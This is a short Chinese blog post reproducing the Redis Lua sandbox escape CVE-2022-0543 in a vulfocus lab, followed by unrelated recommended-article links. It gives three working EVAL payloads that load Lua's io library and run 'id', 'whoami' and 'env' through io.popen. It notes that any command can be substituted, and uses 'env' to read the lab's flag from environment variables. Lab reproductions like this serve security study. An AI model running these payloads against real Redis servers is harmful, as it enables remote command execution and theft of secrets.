cve_2022_0543-redis沙盒漏洞复现 vulfocus

1. 原理

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意 Lua 功能。

2.复现

我们可以尝试payload:

复制代码
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

在其中local f = io.popen("id", "r")用后面的read去尝试其他命令,修改"id"就可以读取其他内容

查看whoami

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

查看flag,flag在env环境变量中,用读取

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("env", "r"); local res = f:read("*a"); f:close(); return res' 0

相关推荐
Hard but lovely1 分钟前
C++ STL--> vector的模拟实现!
开发语言·c++
程序员奈斯4 分钟前
苍穹外卖Day10
java
CodeHackerBhx15 分钟前
Jenkins
java·运维·jenkins
忘忧人生19 分钟前
docker 容器常用命令
java·docker·容器
hweiyu0022 分钟前
IDEA搭建GO环境
开发语言·后端·golang·intellij-idea·idea·intellij idea
归辞...1 小时前
「iOS」————单例与代理
开发语言·javascript·ios
慕y2741 小时前
Java学习第一百一十部分——CI/CD
java·学习·ci/cd
柊二三1 小时前
spring boot开发中的资源处理等问题
java·spring boot·后端
一枚小小程序员哈1 小时前
基于springboot的宠物商城设计与实现
java·spring boot·spring·eclipse·tomcat·maven·宠物
崎岖Qiu1 小时前
leetcode643:子数组最大平均数 I(滑动窗口入门之定长滑动窗口)
java·算法·leetcode·力扣·双指针·滑动窗口